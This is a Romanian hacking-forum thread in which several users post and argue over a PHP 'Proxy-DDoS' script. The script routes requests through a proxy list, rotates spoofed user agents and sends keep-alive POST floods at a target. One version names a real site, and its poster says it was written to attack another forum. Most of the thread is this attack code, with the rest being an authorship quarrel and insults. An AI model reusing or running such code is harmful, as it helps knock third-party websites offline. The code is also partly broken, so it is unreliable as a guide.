iulik Posted January 1, 2014 Report Posted January 1, 2014 (edited) Proxy-DDoS varianta php<?phpset_time_limit(0);///////// Configuratii //////////////////$proxies = array_values(array_unique(file('proxy.txt')));$url = "victima";$host = "victima";//////////// Configuratii ///////////////// $new_array = array();foreach($proxies as $value) { $proxy = explode(":", $value); $ip = trim($proxy[0]); $port = trim($proxy[1]); $new_array[] = array($ip, $port);}$proxies = $new_array;foreach($proxies as $proxy) { $ch = curl_init(); curl_setopt($ch, CURLOPT_PROXY, $proxy[0]); curl_setopt($ch, CURLOPT_PROXYPORT, $proxy[1]); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt ($ch, CURLOPT_USERAGENT, "ManutaDEAur (MAC OS) Gecko/20100101 Firefox/28.0"); curl_setopt ($ch, CURLOPT_TIMEOUT, '10'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_URL, "$url"); curl_exec($ch); curl_close($ch);} function ddos($host,$port,$send,$agents) { $useragents = array( 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)', 'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)', 'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16', 'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13', 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)', 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)', 'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)'); $send = array("POST / HTTP/1.1\r\n", "Connection: keep-alive\r\n", "Keep-Alive: 900\r\n", "Content-Length: 10000\r\n", "Content-Type: application/x-www-form-urlencoded\r\n\r\n"); $ch = curl_init($host); curl_setopt($ch, CURLOPT_PORT, $port); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $send); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_REFERER, $referer); curl_setopt($ch, CURLOPT_USERAGENT, $useragents[array_rand($useragents)]); curl_setopt($ch, CURLOPT_HTTPHEADER, $send); //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); $print = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $print; } echo '<pre>'; echo ddos($host,$port,$send,$agents); echo '</pre>'; flush(); ob_flush();?>p.s: trebuie sa fie sub format 127.0.0.1:1337 (ip:port) in proxy.txt Edited January 1, 2014 by ManutaDeAur Quote
d33nis Posted January 1, 2014 Report Posted January 1, 2014 Sursa:<?phpset_time_limit(0);$proxies = array_values(array_unique(file('proxies.txt')));$url = "http://www.-.com";$new_array = array();foreach($proxies as $value) { $proxy = explode(":", $value); $ip = trim($proxy[0]); $port = trim($proxy[1]); $new_array[] = array($ip, $port);}$proxies = $new_array;foreach($proxies as $proxy) { $ch = curl_init(); curl_setopt($ch, CURLOPT_PROXY, $proxy[0]); curl_setopt($ch, CURLOPT_PROXYPORT, $proxy[1]); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13'); curl_setopt($ch, CURLOPT_URL, "$url"); curl_exec($ch); curl_close($ch);}?> Quote
EAdrian Posted January 1, 2014 Report Posted January 1, 2014 (edited) first view: incorrect codemânu??, verific? codul pentru c? ai apelat func?ia aia în afara loopuluips: ai uitat s? declari ob_start Edited January 1, 2014 by EAdrian Quote
iulik Posted January 1, 2014 Author Report Posted January 1, 2014 Sursa:<?phpset_time_limit(0);$proxies = array_values(array_unique(file('proxies.txt')));$url = "http://www.-.com";$new_array = array();foreach($proxies as $value) { $proxy = explode(":", $value); $ip = trim($proxy[0]); $port = trim($proxy[1]); $new_array[] = array($ip, $port);}$proxies = $new_array;foreach($proxies as $proxy) { $ch = curl_init(); curl_setopt($ch, CURLOPT_PROXY, $proxy[0]); curl_setopt($ch, CURLOPT_PROXYPORT, $proxy[1]); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13'); curl_setopt($ch, CURLOPT_URL, "$url"); curl_exec($ch); curl_close($ch);}?>Da, am rescris codul lui garryone.eadrian , ok Quote
vayux Posted January 3, 2014 Report Posted January 3, 2014 Am observat ca la google nu se inregisteaza traficul facut via proxy, aveti o idee cum se poate face un script care sa acceseze defapt java scriptul de analytics... ? Quote
Mecanik Posted January 13, 2014 Report Posted January 13, 2014 BA! Tu postezi scripturile ce ti le fac eu ? esti bolnav cu capul ? Quote
aelius Posted January 13, 2014 Report Posted January 13, 2014 (edited) BA! Tu postezi scripturile ce ti le fac eu ? esti bolnav cu capul ?Scuze ... dar e un gunoi de script. Macar nu mai spune ca l-ai facut tu. Oricum el zice ca e facut de altcineva:Da, am rescris codul lui garryone.Scriptul nu este bun pentru "adus vizite" pentru ca nu stie sa faca load cumva si la javascript (ex: sa contorizeze si google analytics vizitele). De DDoS Nu poate fi vorba pentru ca deschide "simultan?!" o singura conexiune.Ce face scriptul, face doar hits la un site (http get si atat)De asemenea, observ ca are ban @ManutaDeAur Edited January 13, 2014 by aelius Quote
Mecanik Posted January 13, 2014 Report Posted January 13, 2014 Numai comenta aiurea, eu am facut scriptul ala cand vroia sa atace RSP. am si conversatia ce naiba.Si spre informatia ta, ala nu e gunoi. Quote
aelius Posted January 13, 2014 Report Posted January 13, 2014 (edited) Inseamna ca nu am invatat amandoi acelasi PHP si eu stiu altul )Vezi ca exista 'socket programming' in php Edited January 13, 2014 by aelius Quote
Mecanik Posted January 13, 2014 Report Posted January 13, 2014 (edited) Nu stiu ce a postat asta aici, dar eu iam fost dar un script bun. Si mie ciuda ca eu lam facut pentru el.Asta e scriptul original:LE:<?phpset_time_limit(0);ob_start();$proxies = array_values(array_unique(file('proxy.txt')));$url = "http://linu.ro";$host = "http://linu.ro";$port = "80"; $new_array = array();foreach($proxies as $value) { $proxy = explode(":", $value); $ip = trim($proxy[0]); $port = trim($proxy[1]); $new_array[] = array($ip, $port);}$proxies = $new_array; function ddos($host,$port) { $useragents = array( 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)', 'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)', 'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16', 'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13', 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)', 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)', 'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)'); $send = array("POST / HTTP/1.1\r\n", "Connection: keep-alive\r\n", "Keep-Alive: 900\r\n", "Content-Length: 10000\r\n", "Content-Type: application/x-www-form-urlencoded\r\n\r\n"); $ch = curl_init($host); curl_setopt($ch, CURLOPT_PORT, $port); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $send); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_REFERER, $referer); curl_setopt($ch, CURLOPT_USERAGENT, $useragents[array_rand($useragents)]); curl_setopt ($ch, CURLOPT_TIMEOUT, '10'); curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE); curl_setopt($ch, CURLOPT_HTTPHEADER, $send); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); $print = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $print; }foreach($proxies as $proxy) { $ch = curl_init(); curl_setopt($ch, CURLOPT_PROXY, $proxy[0]); curl_setopt($ch, CURLOPT_PROXYPORT, $proxy[1]); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt ($ch, CURLOPT_USERAGENT, "Mecanik was here! (MAC OS) Gecko/20100101 Firefox/28.0"); curl_setopt ($ch, CURLOPT_TIMEOUT, '10'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_URL, "$url"); curl_exec($ch); curl_close($ch); ddos($proxy[0],$proxy[1]);}ob_end();?>Aici dovada ca functioneaza:PS: Kalashnikov esti asa disperat incat postezi ce primesti de la altul, spre favoarea ta? Edited January 13, 2014 by Mecanik Quote
Cifre Posted January 13, 2014 Report Posted January 13, 2014 (edited) Nu stiu ce a postat asta aici, dar eu iam fost dar un script bun. Si mie ciuda ca eu lam facut pentru el.Muie India. Nu e cine ?tie ce script.. ?i eu care nu am habar cum s? scriu o linie de cod în php îl pot face mai bun. Nu cred c? ai tu drept-ul s? comentezi unui admin de pe aici.. Meri dracu pe ISZ sau cum e siteul t?u.. nu avem nevoie de tine aici.Având în vedere c? este la Stuff tools, nu cred c? d? nimeni un c?cat pentru drepturile de autor.. mai ales c? e o para?ut? de script.. dac? era la RST Power atunci era altceva, pân? atunci continu? s? visezi cu ochii deschi?i.. Edited January 13, 2014 by Cifre Quote